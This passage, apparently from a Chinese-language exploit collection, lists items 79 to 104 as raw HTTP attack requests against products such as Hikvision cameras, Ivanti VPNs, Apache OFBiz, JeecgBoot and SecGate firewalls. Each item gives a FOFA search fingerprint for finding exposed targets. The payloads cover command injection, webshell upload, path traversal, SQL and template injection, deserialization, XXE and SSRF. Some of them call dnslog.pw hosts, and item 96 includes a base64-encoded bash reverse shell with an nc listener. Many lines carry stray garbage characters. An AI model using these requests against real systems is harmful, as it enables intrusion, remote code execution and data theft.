1 Y3 W! m+ t# |: DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
" Z% [2 D1 p- _. ?& RConnection: close
Content-Length: 336
& M& }* _7 A: D9 d) I- uAccept-Encoding: gzip
Content-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l
* a0 Q4 }! \, g( x9 G" B  K: \
------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

) w  E: s$ B  o/ ?: v9 b* x) kYsOxWxSvj1KyZow1PTsh98fdu6l
/ K7 ^# M$ B6 B2 e$ ~/ z------YsOxWxSvj1KyZow1PTsh98fdu6l
& q. z: V& e+ z7 r- q; pContent-Disposition: form-data; name="target"
* K1 L2 T; C3 X( i: _7 B$ N- ^) E
8 F6 \  H9 B3 [+ h  x/ _* d! h3 y/Applications/SkillDevelopAndEHS/
* _% M3 I. D8 H9 C. ~------YsOxWxSvj1KyZow1PTsh98fdu6l--
3 W& s& a& O* {0 G" c1 Z
2 `& ]% ?4 }, R" t. W+ W
GET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
Host: x.x.x.x

4 T& m' z& t& |
79. BYTEVALUE 百为流控路由器远程命令执行
FOFA：BYTEVALUE 智能流控路由器
GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
5 R& x9 ^) Z7 s# B3 J7 uUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
) E. A2 j8 l* V. Y4 G& C) k+ vAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) w. v) V9 X$ |; {Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
; F9 o9 \( O4 ?( gUpgrade-Insecure-Requests: 1
+ h! K, F) m  F1 O6 a$ m

. u1 ]( O. j) G) }# V: z80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
FOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
; R( r' l( F- p" d( THost: x.x.x.x
8 j7 b, k& S3 v; AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! `" @2 q$ x' v- nContent-Length: 27
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
0 X  [5 I5 P: p  @3 H1 N$ bAccept-Encoding: gzip, deflate
6 j+ Z4 e) o$ lAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 h, D( Z1 G9 A% Y  e+ s! g% RConnection: close
Content-Type: application/octet-stream
' G. _8 ?# J# f* p& M. RUpgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

9 f$ O: o( v) P* {$ \( ~: C
4 U- ^) C5 X2 j7 Z; sGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
8 N  }8 g3 _3 R
1 b& Y. Y3 S5 U
81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
  H# P6 o, X. q  W" I4 z' f2 I) wUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' F: r/ Y+ W/ y2 B" M; Z3 XConnection: close
# N: U3 ]2 ~& o% eAccept-Encoding: gzip


82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
FOFA：app="思福迪-LOGBASE"
POST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
4 C7 z& V  t" `1 ^: _' RContent-Length: 23
) F1 R& Y9 T0 S# v* G% P1 s8 oAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

z1=1&z2="|id;"&z3=bhost
; o- A: w  h0 `( d) L, a

83. JeecgBoot testConnection 远程命令执行
8 U7 k7 ^5 s# [0 \/ L- [+ ]FOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 t# G9 \9 F6 `9 ^Connection: close
Content-Length: 8881
4 K. l3 N5 a' s; T6 ]2 r! p' RAccept-Encoding: gzip
1 `' }, ?0 @/ W+ v/ ^! z* N. YCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
Content-Type: application/json

PAYLOAD

0 m/ S! a8 N- m+ K  S4 h1 m5 j84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"

- W! c/ h) `' {. _

9 X4 W) ~$ b8 n& |: B0 EPOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: curl/7.88.1
Content-Length: 156
Accept: */*
Connection: close
8 w6 R& }) n+ q: h2 y+ }0 t/ C( bContent-Type: application/json
( b; v- A$ O- n( E) aAccept-Encoding: gzip

' ~: |. s5 _1 R  S9 j{
4 H' i7 K. {% h- ` "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
  "type": "0"
/ P% }) ?9 C5 ^: I* M* Y0 c}


' w: v. B. |' }+ |; V& F; w85. SysAid On-premise< 23.3.36远程代码执行
: f  d& Y" F/ zCVE-2023-47246
" o/ W* C0 P) ?( {# s! SFOFA：body="sysaid-logo-dark-green.png"
0 a9 c. W$ {% }+ N9 e! Y2 [EXP数据包如下，注入哥斯拉马
/ A# N9 U6 [( U3 {7 `- XPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
Host: x.x.x.x
0 K4 `) O* v6 w: W8 ^User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
) I: p% i1 H0 l9 xContent-Type: application/octet-stream
9 [( T0 w) k, X; W% QAccept-Encoding: gzip
9 p0 r: T0 Z! v: }- C4 O
PAYLOAD

回显URL：http://x.x.x.x/userfiles/index.jsp

. T5 V( x& \7 q: P2 p# m86. 日本tosei自助洗衣机RCE
5 `# ~0 j9 f$ t9 y  dFOFA：body="tosei_login_check.php"
' p1 c. e! ~3 X) R& b' cPOST /cgi-bin/network_test.php HTTP/1.1
1 q% r" ]; Y0 z, @: }2 ?2 U. P; QHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
5 Z1 m4 K( O2 i- u+ }5 UConnection: close
Content-Length: 44
Accept: */*
1 N  o  U4 Y9 Y, k5 r9 tAccept-Encoding: gzip
8 }; c2 ]  w( f* e. ~, C0 ^Accept-Language: en
7 J2 k3 H* ?8 H2 m/ g+ iContent-Type: application/x-www-form-urlencoded
  [8 G* |  ~' a) s' a# H. O
* ]0 D6 K" b3 q/ ?% ^host=%0acat${IFS}/etc/passwd%0a&command=ping
, ?  q2 Z/ T- z" O/ F% q  L9 s) i

# u8 e0 _$ {/ V& K87. 安恒明御安全网关aaa_local_web_preview文件上传
) v7 r4 T& [0 k* S' B6 p: H& U6 ]FOFA：title="明御安全网关"
0 [7 i6 P1 L. t# K  ?" q* BPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
- X0 z1 @" h! B+ u  ^% oAccept-Encoding: gzip
$ G: V/ W' B, H( D* u# `Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

2 U$ {- u; p0 E8 m' D$ _& g--qqobiandqgawlxodfiisporjwravxtvd
& J3 |% K2 \7 z6 dContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
3 [& j9 ?0 ~( |9 d8 @0 PContent-Type: text/plain

/ _6 V7 x& F! R' @2ZqGNnsjzzU2GBBPyd8AIA7QlDq
7 U$ @4 d+ d  s& m+ x7 u, s--qqobiandqgawlxodfiisporjwravxtvd--
5 z0 J+ k5 n" Z+ d: w0 a% O% R

/jfhatuwe.php
2 \; ?: B! \' G$ l
* [3 d  J# U  T2 y  z2 ]) H88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
FOFA：title="明御安全网关"
8 I6 y( Z* ^- n6 ~2 x! T9 w6 Z- fGET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
& g% l4 T1 i& m/ `5 I. rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
( R: A$ p2 d- |( C) VAccept-Encoding: gzip, deflate
& w8 s6 {; y, VAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close


/astdfkhl.php
- ^# f- V& z! e2 M: x7 L
89. 致远互联FE协作办公平台editflow_manager存在sql注入
FOFA：title="FE协作办公平台" || body="li_plugins_download"
2 @$ q2 f: s5 w5 q% T$ {1 [POST /sysform/003/editflow_manager.js%70 HTTP/1.1
9 `- `7 [7 S9 p( THost: x.x.x.x
, l( w: N. ]6 y1 w# G6 w/ C7 y* eUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
8 E. E8 u- e2 n% z0 {Connection: close
Content-Length: 41
6 q6 A* Q+ D" m6 D1 R4 FContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+
$ Q8 K0 D0 e: J- E6 F
" z9 U+ N+ G- e5 q3 ^- Q* q, Z
90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
- x) L# @2 e5 Q2 IContent-Length: 51
1 g3 g: s+ b& H9 }( e8 hAccept: application/json, text/javascript, */*; q=0.01
) h" L6 a9 A8 f$ [Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
5 B% }* p. Z1 A8 }: }1 xConnection: close
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest

jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig


91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
4 T/ D* A$ ^* N5 h$ M, r% k6 L3 XFOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
; l" e% l4 e: `Host: your-ip
7 l% ^) Y& V/ _1 x3 Q& NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
, A0 b: y9 Q+ p+ Z! TAccept: */*
! j; k( ~* w7 B/ k4 u* XConnection: keep-alive



92. 海康威视运行管理中心session命令执行
& ]# l# f' B5 g/ e- x0 v4 Z. x; dFastjson命令执行
  |- \* x8 ^( P( v1 ^! q# v# Lhunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
+ I6 f3 l4 M% H% z. ?! C, HHost:
Accept: application/json, text/plain, */*
+ |5 k$ V0 W* ~0 z; P6 G% vAccept-Encoding: gzip, deflate
" M5 h! [& T# i0 s. zX-Requested-With: XMLHttpRequest
9 a! l- p. c) x2 GContent-Type: application/json;charset=UTF-8
: |4 n, M3 a: r+ }* H$ e* vX-Language-Type: zh_CN
Testcmd: echo test
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778
5 e" j/ R4 m6 p$ l
PAYLOAD


! G, }, i+ g1 H3 p7 z93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36

8 `1 X- N! y8 e" |------WebKitFormBoundarykcbkgdfx
$ \5 T" \3 |% F9 g( dContent-Disposition: form-data; name="MAX_FILE_SIZE"
) ?; c7 T5 T4 I1 d( T
* H, t- c, d+ D( s2 p! H10000000
------WebKitFormBoundarykcbkgdfx
6 s& ^! z" L7 t' `( U( KContent-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

! o$ f$ N/ p  l% Y5 ]" zwagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
: B/ d$ e5 K* I5 w/ b' RContent-Disposition: form-data; name="submit_post"

obj_app_upfile
. I, C( B, V5 J+ C------WebKitFormBoundarykcbkgdfx
; y" k1 z- ^& d! ?2 J$ r* ~3 YContent-Disposition: form-data; name="__hash__"
+ K, l( c6 k! E4 R: Y2 K
0b9d6b1ab7479ab69d9f71b05e0e9445
1 ~+ M" \8 l; O6 F9 W2 S------WebKitFormBoundarykcbkgdfx--
3 j$ x. v3 B" u. l# B. u

GET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
  ^- t& Z9 @: s! s+ i$ k1 r$ IUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
/ c+ M# \1 y$ a( d# \) @- }: C
8 H1 D7 `; V/ L$ v
94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
9 m* v5 w4 g  \/ l8 z2 s8 ~3 `, @FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
; _6 i5 l+ V) k3 L8 T/ dUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
1 Q# e7 G( y9 M1 K# `. |; [" |
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

10000000
* m) w/ f5 g4 T7 b: g2 K' Y8 t( E------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
Content-Type: text/plain

$ x5 T* f7 E4 ipxplitttsrjnyoafavcajwkvhxindhmu
7 x6 J; ~5 v/ G& s  o* L------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

obj_app_upfile
7 f5 _% V4 P  Q* H; q------WebKitFormBoundarybqvzqvmt
4 m% p; M  ^, o1 H: P7 _Content-Disposition: form-data; name="__hash__"
3 @5 H5 l1 a' |$ a( t4 S: `
" c/ F2 R# ?7 P; [0b9d6b1ab7479ab69d9f71b05e0e9445
! W- k& @6 F9 V# u8 n------WebKitFormBoundarybqvzqvmt--
# `8 L! t, I1 Z+ l9 s/ R% M& h

# r- \5 R$ W+ E; B0 c1 h0 ~
* C7 Q' n7 L/ c3 eGET /attachements/xlskxknxa.txt HTTP/1.1
Host: xx.xx.xx.xx
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36


7 ]8 T  q2 z  y9 x. g; A7 P
, b" Y' N5 x# K' M95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
CVE-2023-49070
% a! D3 N& A1 ]! tFOFA：app="Apache_OFBiz"
& l0 M9 X0 n3 [! kPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
8 _6 f( p4 W8 H5 H1 LHost: x.x.x.x
$ _" f: G% R( h% w) WUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
Content-Length: 889
, d. N3 s8 _( j/ ]Content-Type: application/xml
0 J1 T0 i% e+ P: {8 oAccept-Encoding: gzip
" |2 W3 j$ ~. ^5 N) K4 t. S
" s; h# s" N( t+ H0 p# x; E5 b<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
. y% L' a! R1 F5 Y6 v& H* ?& p      <value>
        <struct>
       <member>
3 M. M2 |+ u; {4 \" N" s% `; N          <name>test</name>
+ \% h- M- @* e! G( D1 ?          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
! i, t9 |4 {: J0 y6 m! _          </value>
- E/ j8 O& A, d1 y        </member>
      </struct>
# |2 W3 U$ u* u7 w( _+ T. {      </value>
( v& J1 {9 e( i, n# A! c  \    </param>
    </params>
</methodCall>

8 C! T: {2 o8 F/ S( u
用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"


将生成的payload替换到上面的POC
/ g) ]5 ^, C4 ]+ a! z0 H- I. }POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
; H1 O. L* _4 z) x7 C* Z* UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
Connection: close
( C! q; S$ H. k+ R; ^) f) L+ o( SContent-Length: 889
Content-Type: application/xml
  G/ J  B3 U$ q0 @# b/ GAccept-Encoding: gzip
! J: P# X6 }/ u& ^6 G
% J& S9 }! c  T( v1 \# w+ O6 t- HPAYLOAD

4 y: X, y6 _  P$ X7 Z96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
. @2 v3 U, e) s9 B7 tPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
3 k5 c; S4 s  D, E" B7 B  jHost: localhost:8443
$ G, [  z  ?$ K$ U$ _1 @0 j; D' H9 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
  H, \. C# _: d; \$ \' nAccept: */*
/ }7 P" O7 h' Y2 eAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
) g) _" d; C5 j( e( Z* L& `Content-Type: application/x-www-form-urlencoded
Content-Length: 55
5 B/ E; K6 U2 p  N
groovyProgram=throw+new+Exception('id'.execute().text);

% E: f1 m0 x( D9 U4 h! ?
5 S( j7 v. v. h反弹shell
在kali上启动一个监听
nc -lvp 7777
& R; G) U/ x8 e
' w0 K- b/ ]! [2 X8 H" ~  _3 lPOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
! o1 Z8 T+ V8 I; ^, E6 [Host: 192.168.40.130:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
, i- L4 w# f* P$ e. D$ AAccept: */*
. S1 h0 p; M$ D  V3 T) _+ l' b1 [Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
* s3 U5 B2 g# m* y8 ?Content-Type: application/x-www-form-urlencoded
5 m7 e& I: T& h+ gContent-Length: 71

groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();
  x- l+ L# A! t* J' M
97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
5 t8 N" k& }0 |; nFOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
/ b# c* v+ D5 A& w1 }GET /passport/login/ HTTP/1.1
% a- g' N2 o6 p8 EHost: 192.168.40.130:8085
' }9 v$ V  b; P- g. |. tUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
1 `0 }7 g8 t% G. g7 \6 B5 e6 oConnection: close
Cookie: rememberMe=PAYLOAD
' [) G  d& {. o7 A) vX-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"
# C" m  y. F3 V- ]
% \; W; }/ e$ h; z/ D# `
" L& o! ?0 R6 S, Q! b) a0 f3 t1 E98. SpiderFlow爬虫平台远程命令执行
* B& N4 M* t" t( mCVE-2024-0195
FOFA：app="SpiderFlow"
+ I7 c, Y7 i. LPOST /function/save HTTP/1.1
' p+ U( X; K/ q6 |+ yHost: 192.168.40.130:8088
7 X9 R% r& K; j1 X; {$ |5 P" v  xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
Content-Length: 121
3 e7 p* Y4 K' q+ B# oAccept: */*
+ `8 K- o: h% k! CAccept-Encoding: gzip, deflate
0 h8 s: D* L% ?8 H/ b6 w$ D8 aAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
/ N, C/ Z$ o3 @5 a1 w/ `X-Requested-With: XMLHttpRequest

id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
, @8 l0 U: O5 L; B5 \) V

99. Ncast盈可视高清智能录播系统busiFacade RCE
) q* P; i. [' O& y) hCVE-2024-0305
% q- z1 [0 U: x2 m5 I8 J2 Q% tFOFA：app="Ncast-产品" && title=="高清智能录播系统"
POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
+ g  M' ]) V! v3 P6 eConnection: close
0 A. b5 q  y) c: c, K+ |$ ~7 SContent-Length: 154
Accept: */*
6 m' F5 p6 b2 ]6 a8 R7 \Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 B6 ^) f9 y7 F. w+ s1 ?' LContent-Type: application/x-www-form-urlencoded; charset=UTF-8
) v( g6 K( i& T" D% _X-Requested-With: XMLHttpRequest

%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
; S4 N- |# K+ L7 F0 Y

* I) p" u; b1 ?100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
4 G. l6 i" K' A3 _- x! YCVE-2024-0352
% L/ ~- _; `5 t& s) M( uFOFA：icon_hash="874152924"
POST /api/file/formimage HTTP/1.1
6 B+ Y' ^' C0 |/ z- O5 C" b* MHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
9 `) p! T' G: l; YContent-Length: 201
- d' D1 S$ V: u- N9 o  tContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
3 O* c) J5 e5 Z" q' GAccept-Encoding: gzip

# u! B, ~4 q0 z, p+ f# t% z  x------WebKitFormBoundarygcflwtei
% A8 Y7 o: b# oContent-Disposition: form-data; name="file";filename="IE4MGP.php"
  f4 ~0 T+ b: Z* m! c5 S5 s7 o: Z: HContent-Type: application/x-php

% r: r  A, O: ^% Z* r2ayyhRXiAsKXL8olvF5s4qqyI2O
" w% w8 f% ?. a4 z) Y9 _6 U# V  l, W------WebKitFormBoundarygcflwtei--

$ d4 I: g, P! j% |: l; _
101. ivanti policy secure-22.6命令注入
: j- [) b/ V& ^5 ]CVE-2024-21887
+ Z0 K- Z& }' s& a% V# M0 [5 UFOFA：body="welcome.cgi?p=logo"
" @3 n, J, X9 i, d4 q+ zGET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
, b, ^5 k6 x( R* a. JUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept-Encoding: gzip


102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
7 T* x& @9 s: {CVE-2024-21893
* F$ Z1 b& x7 b! |7 QFOFA：body="welcome.cgi?p=logo"
POST /dana-ws/saml20.ws HTTP/1.1
) ^: Y4 X4 x+ rHost: x.x.x.x
/ H' G: F" ?4 \7 B8 D8 j, s9 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
2 {1 e3 M3 V3 g0 Z1 q  x: m/ `
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                         <ds:RetrievalMethod URI="http://kr9dqoau.dnslog.pw"/><<ds:X509Data/>                   </ds:KeyInfo>                  <ds:Object></ds:Object>         </ds:Signature> </soap:Body></soap:Envelope>
! h6 k2 H8 g) C' q1 b7 U
6 x% K9 D$ t1 v4 n1 x( B103. Ivanti Pulse Connect Secure VPN XXE
CVE-2024-22024
FOFA：body="welcome.cgi?p=logo"
POST /dana-na/auth/saml-sso.cgi HTTP/1.1
Host: 192.168.40.130:111
$ L/ p; q' Y" [User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.93 Safari/537.36
Connection: close
" I+ }& \( ^& y+ ]/ `Content-Length: 204
Content-Type: application/x-www-form-urlencoded
5 v! B) Z/ I+ H3 K4 @Accept-Encoding: gzip

- C, q3 W% q: |! k* q2 xSAMLRequest=PD94bWwgdmVyc2lvbj0iMS4wIiA/PjwhRE9DVFlQRSByb290IFs8IUVOVElUWSAlIHdhdGNoVG93ciBTWVNURU0KICAgICJodHRwOi8vYzJ2a2J3YnMuZG5zbG9nLnB3L3giPiAld2F0Y2hUb3dyO10+PHI+PC9yPg==
2 o# K7 t& x# k" o

6 E! Y* U7 `  m$ Z" T& E其中SAMLRequest的值是xml文件内容的base64值，xml文件如下
<?xml version="1.0" ?><!DOCTYPE root [<!ENTITY % watchTowr SYSTEM"http://c2vkbwbs.dnslog.pw/x"> %watchTowr;]><r></r>
, ~7 F$ M, a0 |1 j3 M! O

* B4 h1 D$ K6 v2 l' I2 M104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
4 P9 E# S$ ^. d* `/ R  u% ~CVE-2024-0569
FOFA：title="TOTOLINK"
